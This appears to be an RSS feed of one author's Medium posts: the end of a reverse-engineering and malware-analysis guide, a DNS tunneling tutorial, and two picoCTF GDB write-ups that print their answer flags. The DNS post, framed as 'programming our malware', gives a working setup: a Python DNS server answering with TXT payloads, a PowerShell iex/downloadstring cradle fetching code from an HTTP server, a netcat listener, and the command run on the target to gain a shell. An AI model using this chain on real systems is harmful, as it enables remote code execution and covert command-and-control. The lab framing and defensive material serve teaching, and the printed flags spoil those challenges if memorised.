changes.</li><li><strong>Virtual Machines (VMs)</strong>: Tools like VMware, VirtualBox, or Hyper-V allow you to create isolated environments. You can also use preconfigured VMs such as REMnux or FLARE for malware analysis.</li><li><strong>Physical Isolation</strong>: For high-risk analysis, a standalone system disconnected from the network may be used</li></ul><h4>b. Monitoring Activities During Execution</h4><p>To understand the program’s behavior, various tools can be used to monitor its actions in real time:</p><ol><li><strong>Network Activity (Wireshark, TCPDump)</strong>:</li></ol><ul><li>Track incoming and outgoing traffic to identify potential malicious communications or data exfiltration.</li><li>Look for:</li></ul><p>-Suspicious IP addresses or domains.</p><p>-Unusual protocols or encrypted data.</p><ul><li>Example Tool:</li></ul><p><strong>-Wireshark</strong>: Provides packet-level analysis of network activity.</p><p><strong>2. System Processes (Process Monitor)</strong>:</p><ul><li>Analyze running processes, file I/O, registry access, and DLL loads during program execution.</li><li>Look for:</li></ul><p>-Unexpected or unauthorized child processes.</p><p>-High resource usage or injection of malicious code into legitimate processes.</p><ul><li>Example Tool:</li></ul><p><strong>-Process Monitor (ProcMon)</strong>: A Sysinternals tool for detailed process and system monitoring.</p><p><strong>3. File System Changes</strong>:</p><ul><li>Observe whether the program creates, deletes, or modifies files during its execution.</li><li>Tools:</li></ul><p><strong>-FileActivityWatch</strong>: Monitors file-level operations.</p><p><strong>-ProcMon</strong>: Tracks file creation and access.</p><p><strong>4. Registry Changes (Windows Registry)</strong>:</p><ul><li>On Windows systems, monitor if the program modifies critical registry keys or adds persistence mechanisms.</li><li>Look for:</li></ul><p>-New entries in Run or RunOnce keys (for persistence).</p><p>-Changes to security-related keys.</p><ul><li>Example Tool:</li></ul><p><strong>-Regshot</strong>: Captures registry changes before and after execution.</p><h4>c. Identifying Suspicious Functions</h4><p>As the program runs, specific behaviors may stand out as suspicious. Pay attention to activities such as:</p><ul><li><strong>Keylogging</strong>: Monitoring keyboard inputs.</li><li><strong>Code Injection</strong>: Injecting malicious code into legitimate processes.</li><li><strong>Persistence Mechanisms</strong>: Setting up mechanisms to restart after a system reboot (e.g., modifying startup items).</li><li><strong>Fileless Techniques</strong>: Running malicious code directly in memory without leaving traces on the disk.</li><li><strong>Network C&amp;C Communication</strong>: Connecting to a Command &amp; Control (C&amp;C) server for instructions.</li></ul><h3>3. Static Analysis:</h3><p>Static analysis involves examining a file without executing it, focusing on its structure, contents, and embedded information.</p><p>This step is essential for understanding the program’s architecture, identifying hidden functionality, and uncovering malicious intent without the risk of triggering execution.</p><p>Below is a detailed breakdown of this step:</p><h4>a. Decompression or Decryption (If Required)</h4><p>Some files are packed, compressed, or encrypted to obfuscate their true contents and hinder reverse engineering efforts.</p><ol><li><strong>Detecting Compression or Encryption</strong>:</li></ol><ul><li>Many malware samples or programs use packers like <strong>UPX</strong>, or custom encryption to hide their functionality.</li><li>Tools like <strong>Detect It Easy (DIE)</strong> or <strong>PEiD</strong> can identify the type of packing or encryption used.</li></ul><p><strong>2. Unpacking or Decrypting</strong>:</p><ul><li><strong>UPX</strong>: If the file is packed with UPX, it can be easily unpacked using the command:</li></ul><pre>upx -d &lt;file&gt;</pre><ul><li><strong>Custom Packers</strong>: For custom-packed files, dynamic analysis (running the file and dumping its memory) or manual unpacking may be required.</li><li><strong>Unpacker Tools</strong>: Tools like <strong>Unpack-Me</strong> or <strong>x64dbg</strong> can assist in unpacking executables.</li></ul><h4>b. Viewing the File Structure</h4><p>Understanding the file’s structure is key to identifying its functionality and extracting useful information.</p><ol><li><strong>Tools for File Structure Analysis</strong>:</li></ol><ul><li><strong>PE Explorer</strong>: For analyzing Windows Portable Executable (PE) files. It provides details like headers, imports, exports, and sections.</li><li><strong>readelf</strong>: For analyzing ELF binaries in Linux systems.</li><li><strong>APKTool</strong>: For decompiling and analyzing Android APK files.</li><li><strong>Mach-O Tools</strong>: For macOS binaries.</li></ul><p><strong>2. Important Structural Information</strong>:</p><ul><li><strong>Headers</strong>: File headers reveal the file type, target architecture (e.g., x86, ARM), and compilation details.</li><li><strong>Sections</strong>: Examine sections such as .text (code), .data (global variables), and .rdata (read-only data). Suspicious or unusual sections may indicate obfuscation or malicious code.</li></ul><h4>c. Extracting Strings and References</h4><p>Extracting embedded text strings can reveal valuable information, such as function names, URLs, IP addresses, file paths, or error messages.</p><ol><li><strong>String Extraction Tools</strong>:</li></ol><ul><li><strong>strings (Linux/Windows)</strong></li><li>Extracts human-readable ASCII and Unicode strings from files.</li><li><strong>BinText</strong>: A GUI tool for string extraction with filtering options.</li><li><strong>What to Look For</strong>:</li><li><strong>Hardcoded URLs or IPs</strong>: Indicating potential Command &amp; Control (C&amp;C) servers.</li><li><strong>Suspicious Commands</strong>: Shell commands or API calls used for malicious purposes.</li><li><strong>Error Messages</strong>: May provide clues about the program’s functionality.</li><li><strong>Enhancing String Analysis</strong>:</li><li>Use <strong>Ghidra</strong> or <strong>IDA Pro</strong> to correlate strings with specific functions or code sections.</li></ul><h4>d. Examining File Sections</h4><p>Analyzing file sections helps identify where the executable code, data, and resources are stored, which is critical for understanding the file’s functionality.</p><ol><li><strong>Common File Sections</strong>:</li></ol><ul><li><strong>.text</strong>: Contains executable code.</li><li><strong>.data</strong>: Contains initialized global and static variables.</li><li><strong>.rdata</strong>: Contains read-only data, such as string literals or constant variables.</li><li><strong>.bss</strong>: Contains uninitialized data.</li><li><strong>Unknown Sections</strong>: Suspiciously named or malformed sections may indicate malicious intent.</li></ul><p><strong>2. Tools for Section Analysis</strong>:</p><ul><li><strong>PE Explorer</strong>: For analyzing PE sections on Windows.</li><li><strong>readelf</strong>: For ELF binaries on Linux</li><li><strong>Objdump</strong>: A versatile tool for disassembling and inspecting sections.</li></ul><h3>4. Memory Analysis:</h3><p>Memory analysis is the process of extracting and examining a program’s memory content during its execution.</p><p>This is critical for uncovering hidden or runtime-only behaviors, such as decrypted strings, injected code, and sensitive data that may not be visible in static or dynamic analysis.</p><h4>a. Extracting and Analyzing Memory Content</h4><p>Memory analysis involves dumping the program’s memory to identify runtime artifacts, such as encryption keys, malicious payloads, or configuration files.</p><ol><li><strong>Windows Memory Analysis Tools</strong>:</li></ol><ul><li><strong>Process Hacker</strong>:</li><li>A GUI-based tool for inspecting process memory, threads, handles, and loaded modules.</li><li>You can dump process memory by selecting the process and exporting the memory regions to a file.</li><li><strong>Volatility Framework</strong>:</li><li>A powerful tool for analyzing memory dumps.</li><li>Use cases include extracting strings, identifying loaded modules, and detecting injected code.</li></ul><p><strong>2. Linux Memory Analysis Tools</strong>:</p><ul><li><strong>gcore</strong>:</li><li>Generates a core dump of a running process, capturing its memory state.</li><li><strong>pmap</strong>:</li><li>Displays the memory map of a process.</li></ul><p><strong>3. What to Look For in Memory Dumps</strong>:</p><ul><li>Decrypted strings or configurations.</li><li>Loaded libraries and injected DLLs.</li><li>Runtime-only artifacts, such as obfuscated code or temporary files.</li></ul><h4>b. Monitoring Processes During Execution</h4><p>Monitoring processes in real-time helps identify abnormal behaviors, such as excessive memory allocation or suspicious thread activity.</p><ul><li><strong>Tools for Monitoring</strong>:</li><li><strong>Windows</strong>:</li><li>Process Monitor (part of Sysinternals Suite) provides detailed information on memory and file system operations.</li><li><strong>Linux</strong>:</li><li>Tools like htop or top can monitor real-time process activities and resource usage.</li></ul><h3>5. System Call Analysis:</h3><p>System calls (syscalls) are the fundamental mechanism through which user-mode programs interact with the operating system kernel.</p><p>Analyzing system calls during program execution provides insights into its behavior, including file manipulation, network access, and process creation.</p><h4>a. Monitoring System Calls During Execution</h4><p>System call monitoring captures the sequence and details of syscalls made by the program. This can reveal malicious activities, such as:</p><ul><li>File access and modifications.</li><li>Creation of child processes or threads.</li><li>Network connections to external servers.</li></ul><ol><li><strong>Linux System Call Monitoring</strong>:</li></ol><ul><li><strong>strace</strong>:</li><li>Tracks all system calls made by a process.</li><li><strong>ltrace</strong>:</li><li>Tracks library calls in addition to syscalls. Useful for analyzing dynamic libraries used by the program.</li></ul><p><strong>Windows System Call Monitoring</strong>:</p><ul><li><strong>Sysinternals Suite (Process Monitor)</strong>:</li><li>Captures all syscalls and file system interactions.</li><li>Apply filters to focus on specific processes or syscalls (e.g., RegSetValue, CreateProcess).</li><li>Example Use:</li><li>Monitor a program for calls to the Windows Registry, file creation, or child processes</li></ul><h3>Conclusion</h3><p>Reverse engineering is a powerful and essential skill in the world of cybersecurity, software analysis, and malware research.</p><p>It provides invaluable insights into how software functions, uncovers hidden behaviors, and helps identify vulnerabilities or malicious intent.</p><p>By following a structured approach — from gathering initial information to analyzing memory, system calls, and static components — analysts can effectively dissect and understand even the most complex binaries.</p><p>Whether used for improving software security, debugging, or combating malware, reverse engineering is both a science and an art.</p><p>It requires not only technical expertise but also critical thinking and persistence, As the landscape of software and threats continues to evolve, mastering these techniques ensures that analysts stay one step ahead, safeguarding systems and data in an increasingly interconnected world</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd05aa8a0135" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS Tunneling attack]]></title>
            <link>https://medium.com/@Oscar404/dns-tunneling-attack-d2b610150a45?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2b610150a45</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[tunneling]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Sat, 14 Dec 2024 15:50:10 GMT</pubDate>
            <atom:updated>2024-12-14T17:03:07.528Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9hAWM1qKMFnjiPLg.png" /></figure><h3>Introduction to DNS Tunneling</h3><p>DNS tunneling is a technique that leverages the DNS protocol, originally designed for resolving domain names to IP addresses, to transmit arbitrary data between systems.</p><p>This method embeds data payloads within DNS queries and responses, allowing communication to occur covertly over networks where other protocols may be restricted or monitored Like <strong>TCP/IP, UDP</strong>.</p><p>By exploiting the flexibility of the DNS protocol, DNS tunneling enables data transfer and command execution in scenarios where direct communication would otherwise be blocked.</p><p>It is important to note that DNS tunneling is not a new concept, but it is part of a broader category of tunneling techniques where data payloads are hidden within the content of different protocols, While DNS is commonly targeted for tunneling due to its ubiquitous nature and the tendency of many networks to allow DNS traffic without strict inspection, s<strong>imilar techniques can be applied to other protocols, such as HTTP, ICMP, and SMTP, among others.</strong></p><p>Understanding DNS tunneling in practice involves learning how data is encoded, transmitted, and decoded through the DNS requests and responses, by practical applications of this technique often include penetration testing, data exfiltration, or bypassing network restrictions, but it is also widely used by attackers as a covert channel for malicious purposes, emphasizing the need for network administrators to monitor and secure their DNS traffic effectively.</p><h3>Programming our malware</h3><p>Okay, since this lesson will be very simple so we aren’t going to do any technic things or malware development, we are just going to use PowerShell with proper commands, but first we should set a DNS domain with TXT record:</p><h4>Step 1: Setting Up the Malicious DNS Server</h4><p>This demonstration is going to be free so we would set our DNS server internally by using any software apps like dnsmasq, bind9 for Linux or DNS configuration for windows.</p><p>once we are going to rely on Kali Linux or any other distros, we will just use simple python script:</p><pre>from dnslib import DNSRecord, RR, QTYPE, TXT<br>from socketserver import UDPServer, BaseRequestHandler<br><br>class DNSHandler(BaseRequestHandler):<br>    def handle(self):<br>        data, sock = self.request<br>        request = DNSRecord.parse(data)<br><br>        reply = request.reply()<br>        for q in request.questions:<br>            qname = str(q.qname)<br>            qtype = QTYPE[q.qtype]<br>            <br>            if qtype == &quot;TXT&quot;:<br>                reply.add_answer(RR(qname, QTYPE.TXT, ttl=60, rdata=TXT(&quot;notepad.exe&quot;)))<br><br>        sock.sendto(reply.pack(), self.client_address)<br><br>if __name__ == &quot;__main__&quot;:<br>    server = UDPServer((&quot;0.0.0.0&quot;, 53), DNSHandler)<br>    print(&quot;DNS server running on port 53...&quot;)<br>    try:<br>        server.serve_forever()<br>    except KeyboardInterrupt:<br>        print(&quot;\nStopping DNS server...&quot;)<br>        server. Shutdown()</pre><p>In the Python script provided earlier, we configure our DNS server to respond to any DNS request with a TXT record containing the text:</p><p><strong>notepad.exe</strong></p><p>This is the first step in initiating our exploit, as it demonstrates how we can embed arbitrary data in a DNS response and the response could carry other payloads or commands in a real-world scenario as we will see; depending on the objective of the attack.</p><p>So, this is our first step to initiate our exploit..</p><h4>Preparing Your Environment:</h4><ol><li><strong>Configure Your Virtual Machine</strong>:</li></ol><ul><li>Ensure that your <strong>Kali Linux</strong> virtual machine is running with a <strong>Bridged Network</strong>.</li><li>This setup allows your host OS or other virtual machines to communicate directly with Kali Linux.</li></ul><p><strong>2. Install Required Libraries</strong>:</p><ul><li>Before running the script, you need to install the dnslib library. You can do so by executing:</li></ul><pre>pip install dnslib</pre><p><strong>3. Save and Run the Script:</strong></p><ul><li>Save the provided script into a file named dns_server.py.</li><li>Run the script using the following command in Kali Linux:</li></ul><pre>sudo python3 dns_server.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*F6e1NJPyINekXBrwNlidlQ.png" /><figcaption>running our DNS server</figcaption></figure><p>With these preparations complete, your custom DNS server will be active and ready to respond to DNS queries with the specified TXT record, paving the way for further steps in the exploit.</p><p>let’s now make some try to ask for TXT record with nslookup tool in windows:</p><pre>nslookup -q=txt google.com 192.168.1.8</pre><p>the previous command we make a TXT record request from google.com using our DNS server!</p><p>and here it is our respond:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*f1oEcRrRgJo1OYdFcT9q2Q.png" /></figure><p>cool!</p><p>this is our first payload we have got, now let&#39;s execute it using PowerShell command:</p><pre>&amp; powershell (nslookup -q=txt google.com 192.168.1.8)[-1]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CL2W5wD6vIsdZgvJwK8LQg.png" /></figure><p><strong>Note </strong>that you can develop your own malware to run the extracted payload from the DNS server TXT record and execute it, like in python there is:<br>os.system(), subprocess() and so on… in any other programming languages!</p><p>cool…</p><p>now we are going to update our TXT record in this DNS server python script to this payload:</p><blockquote>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</blockquote><p>But there is a small problem, which is that the TXT record cannot be longer than 255 characters.</p><p>After thinking about this problem, we came up with an idea to solve it: we can host this payload in an HTML file on an HTTP server, and then download and run it afterwards.</p><p>to host the payload on HTTP server we do the following steps:</p><ol><li>save the payload into index.html file</li><li>run the following command to run python script:</li></ol><pre>python3 -m http.server 8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*P0ZaS4LDzR_BZUDrXQQS8g.png" /><figcaption>running http server</figcaption></figure><p>here is our payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5V7WwSC74kmCRsuSa_9xw.png" /></figure><p>next we update our DNS server TXT record to be as followed:</p><pre>reply.add_answer(RR(qname, QTYPE.TXT, ttl=60, rdata=TXT(&quot;iex(new-object net.webclient).downloadstring(&#39;http://192.168.1.8:8000/index.html&#39;)&quot;)))</pre><p>notice that our new TXT record has become:</p><p><strong>iex(new-object net.webclient).downloadstring(‘</strong><a href="http://192.168.1.8:8000/index.html"><strong>http://192.168.1.8:8000/index.html</strong></a><strong>’)</strong></p><p>this makes us download the payload from the index.html file the execute it using IEX.</p><p>we then run dns server python script again:</p><pre>sudo python3 dns_server.py</pre><p>and then we run netcat to listen on 9001 port for any incoming connection:</p><pre>nc -lvnp 9001</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*lEfTq7nJV7AFJsYxM9_T_Q.png" /><figcaption>running netcat listener</figcaption></figure><p>Note that we have three things now are running:</p><ol><li>DNS python server</li><li>http python server</li><li>netcat listener</li></ol><h3>Exploiting The Target:</h3><p>at the end we execute the following command on the targeted system:</p><pre>powershell -noP -sta -w 1 . (nslookup -q=txt google.com 192.168.1.8)[-1]</pre><p>and, boooom:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*R5maEr4tmww1sssLk4rMFQ.png" /></figure><p>we have successfully compromised the system only using DNS!</p><p>to make sure that our query delivers as expected we can verify that using Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ponw6mvXHAbYyfQMQc3-aA.png" /></figure><h3>Conclusion</h3><p>DNS tunneling is an innovative way to use the DNS protocol, which is normally limited to domain name resolution, for covert communication and data transfer. However, DNS is just one example of how existing protocols, designed for specific purposes, can be repurposed for tunneling or payload transmission. Other protocols such as HTTP, ICMP, SMTP, and SSH can also be leveraged to bypass security measures and send data covertly, showcasing the versatility and potential security risks posed by tunneling techniques.</p><p>Just as DNS can be used for tunneling, <strong>many other protocols</strong> that are not inherently designed for data transfer can also be repurposed for tunneling or carrying payloads. These protocols are often used because they can bypass firewalls or network filtering mechanisms. Some examples include:</p><ol><li><strong>HTTP/HTTPS Tunneling</strong>:</li></ol><ul><li>HTTP is primarily designed for web traffic, but it can be used for tunneling through techniques like <strong>HTTP(S) reverse proxies</strong> or <strong>webshells</strong>. Malicious payloads can be sent in HTTP requests, and data can be exfiltrated through HTTP responses.</li><li>The <strong>ICMP</strong> protocol, used for network diagnostics (e.g., ping), can also be hijacked for tunneling. Malicious data can be encapsulated inside ICMP echo requests and responses.</li></ul><ol><li><strong>SMTP Tunneling</strong>:</li></ol><ul><li>The <strong>SMTP</strong> protocol, typically used for email communication, can be repurposed to tunnel data. Tools like <strong>SMTP tunneling</strong> or <strong>email exfiltration</strong> techniques allow data to be transmitted through email servers.</li></ul><ol><li><strong>SSH Tunneling</strong>:</li></ol><ul><li><strong>SSH</strong> (Secure Shell) is commonly used for secure remote login, but it can also be used to tunnel other protocols and provide encrypted data transfer between systems through an SSH tunnel.</li></ul><ol><li><strong>DNS over HTTPS (DoH)</strong>:</li></ol><ul><li>This newer protocol merges DNS resolution with HTTPS to prevent DNS queries from being visible in plaintext. It can be used for covert tunneling in environments where DNS traffic is heavily monitored.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2b610150a45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking PicoCTF Challenge: GDB Baby Step 2]]></title>
            <link>https://medium.com/@Oscar404/cracking-picoctf-challenge-gdb-baby-step-1-7514e104266b?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/7514e104266b</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[gdb]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Tue, 17 Sep 2024 07:45:20 GMT</pubDate>
            <atom:updated>2024-09-17T07:45:58.103Z</atom:updated>
            <content:encoded><![CDATA[<p>You can find the challenge at the following link called GDB baby step 2:</p><p><a href="https://play.picoctf.org/practice/challenge/396?category=3&amp;page=1&amp;search=GDB">https://play.picoctf.org/practice/challenge/396?category=3&amp;page=1&amp;search=GDB</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UfssqRGgdtwWkcC3M3R83Q.png" /><figcaption>GDB baby step 2</figcaption></figure><p>This challenge is also an executable file and our task is to reverse engineer it using GDB and find out the value contained in the EAX register at the end of the main function.</p><p>As you can see in the previous image, we click on the word <strong>this </strong>to download the challenge file, and then we follow the explanation:</p><ol><li>We run the GDB tool on the file:</li></ol><pre>$ gdb debugger0_b</pre><p>Also remember to change the format to intel instead of AT&amp;T:</p><pre>(gdb) set disassembly-flavor intel</pre><p>Then we display the program functions:</p><pre>(gdb) info functions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8Ov7LzZX8Drm1D3P8v7TA.png" /><figcaption>getting file functions</figcaption></figure><p>Again, our goal is to target the main function because the EAX register whose value we need to know is inside it.</p><p>2. We disassemble the main function:</p><pre>(gdb) disassemble main</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iHIn0DbHdGx5uCgR-ZGDA.png" /><figcaption>Disassemble main function</figcaption></figure><p>As you can see in the previous image, this is the code that the main function carries, and note that we cannot display the value stored in the EAX register because an explicit value is not stored inside it as we did in the previous challenge.</p><p>In this case we will resort to debugging to run the code:</p><p>3. We put a Breakpoint on the main function:</p><pre>(gdb) break main</pre><p>From here we can run the code, but we can improve the way the commands are displayed while executing the code by using the following command:</p><pre>(gdb) layout asm</pre><p>This displays a window within GDB that shows the assembly code of the program being debugged, which is very useful for understanding how instructions are executed at the processor level while the program is running.</p><p>Then we run the code after improving the display:</p><pre>(gdb) run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FgFgnmyHJtP-ZCwQGU6uHw.png" /><figcaption>layout asm</figcaption></figure><p>As you can see in the previous image, our goal here is to continue executing the program until we get the value of the EAX register stored in it, which means that we will go through all those instructions until we stop at the ret instruction, which is the last part of the function and is responsible for returning the function function return.</p><p>4. We put a Breakpoint at that instruction through its address, which is 0x401142:</p><pre>(gdb) break *0x401142</pre><p>The asterisk is the one that indicates the memory address.</p><p>Then we continue running the program (it will run until it reaches the breakpoint that we specified) using the continue command:</p><pre>(gdb) continue</pre><p>Note that this command will continue running the program until it reaches the breakpoint and you can always know where your code stopped running via the EIP register or RIP register in x64 because it always contains the memory address of the instruction that will be executed:</p><pre>(gdb) info registers rip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKClM54hRQa-vJhtk2r90w.png" /><figcaption>info register RIP</figcaption></figure><p>As you can see in the previous image, the breakpoint address is exactly the same as the RIP register address, which means that the EAX register was passed through and the value was placed inside it.</p><p>Finally, we can display the data stored inside it using the print command:</p><pre>(gdb) print $eax</pre><p>This way the value stored inside will appear:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dU_531OixFqZGJJtLsREhQ.png" /><figcaption>Getting EAX register value</figcaption></figure><p>The solution to the challenge is:</p><h3>picoCTF{307019}</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7514e104266b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking PicoCTF Challenge: GDB Baby Step 1]]></title>
            <link>https://medium.com/@Oscar404/cracking-picoctf-challenge-gdb-baby-step-1-2d77e8eab818?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d77e8eab818</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[gdb]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Mon, 16 Sep 2024 12:27:10 GMT</pubDate>
            <atom:updated>2024-09-16T12:27:10.866Z</atom:updated>
            <content:encoded><![CDATA[<p>After learning how to use GDB, let’s now practice on some CTF challenges on PicoCTF website:</p><p><a href="https://picoctf.org/">https://picoctf.org/</a></p><p>After registering on the site, you can find the challenge on the following link called GDB baby step 1:</p><p><a href="https://play.picoctf.org/practice/challenge/395?category=3&amp;page=1&amp;search=GDB">https://play.picoctf.org/practice/challenge/395?category=3&amp;page=1&amp;search=GDB</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpLTiFYfvhZUK0zMk3BA9Q.png" /><figcaption>GDB baby step 1</figcaption></figure><p>This challenge is an executable file and our task is to do Reverse Engineering on it using GDB and find out the value contained in the EAX register at the end of the main function.</p><p>As you can see in the previous image, we click on the word <strong>this </strong>to download the challenge file, and then we continue the explanation:</p><ol><li>We should know some information about the file, and the <strong>file command</strong> in Linux will help us with this:</li></ol><pre>$ file debugger0_a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkKT9JSv2Q9x-6943P9NoQ.png" /><figcaption>getting file information</figcaption></figure><p>There you have it; it is an .ELF file which means it runs on Linux, and it is also a 64-bit executable file.</p><p>2. We open the program using GDB:</p><pre>$ gdb debugger0_a</pre><p>Then we know the functions that the program contains:</p><pre>(gdb) info functions<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2D1rWmOhVeGX4bbvfPeE5A.png" /><figcaption>getting file functions</figcaption></figure><p>As you can see in the previous image, our target in this challenge is the main function which is located at address 0x1129 in memory.</p><p>But before we continue, we should remember that GDB uses AT&amp;T by default, so we need to convert it to intel:</p><pre>(gdb) set disassembly-flavor intel</pre><p>In this way, when we do Disassembly, the assembly instructions will appear as we are used to.</p><p>3. In the last step, we disassemble the main function or disassemble it using the following command:</p><pre>(gdb) disassemble main</pre><p>The Disassembly process will show the following result:</p><p>The goal of this challenge is to know the value stored in the EAX register, and as you can see in the previous image, a value in Hexadecimal, which is 0x86342, is transferred inside EAX at the end of the function.</p><p>In the normal case, we must run the function itself and follow the value of the target Register to know the value it holds, but in our case, we do not need this because the value that will be placed in it is fixed and is placed explicitly, so we can simply know the result by printing the Hexadecimal in decimal:<br>And we can do this using the print command as we mentioned previously:</p><pre>(gdb) print 0x86342</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fEDddp2JjjeIgcPiMrKCfg.png" /><figcaption>Getting EAX value</figcaption></figure><p>As you can see in the previous image, this is the value that EAX contains, which is 549698.</p><p>Thus, the solution to the challenge becomes:</p><h4>picoCTF{549698}</h4><p>and here you are, we solved that challenge!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d77e8eab818" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>